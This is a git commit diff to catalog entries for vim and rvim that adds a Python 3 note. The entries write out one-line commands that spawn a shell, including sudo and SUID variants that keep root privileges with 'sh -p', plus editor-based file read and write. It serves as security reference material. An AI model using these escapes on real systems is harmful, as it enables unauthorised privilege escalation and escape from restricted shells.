Add Python 3 comment in vim and rvim

This commit is contained in:
Emilio Pinna 2018-12-18 13:31:22 +01:00
parent cda1654809
commit 9432a6ce3c
2 changed files with 7 additions and 7 deletions

View File

@ -1,10 +1,10 @@
---
functions:
shell:
- description: This requires that `rvim` is compiled with Python support.
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write:
- description: This requires that rvim is compiled with Python support.
- description: This requires that rvim is compiled with Python support. Prepend `:py3` for Python 3.
code: |
rvim file_to_write
iDATA
@ -13,9 +13,9 @@ functions:
file-read:
- code: rvim file_to_read
suid:
- description: This requires that `rvim` is compiled with Python support.
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./rvim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- description: This requires that `rvim` is compiled with Python support.
- description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3.
code: sudo rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
---

View File

@ -6,7 +6,7 @@ functions:
vim
:set shell=/bin/sh
:shell
- description: This requires that `vim` is compiled with Python support.
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
file-write:
- code: |
@ -18,10 +18,10 @@ functions:
- code: vim file_to_read
suid:
- code: ./vim -c ':!/bin/sh -p'
- description: This requires that `vim` is compiled with Python support.
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo:
- code: sudo vim -c ':!/bin/sh'
- description: This requires that `vim` is compiled with Python support.
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: sudo vim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
---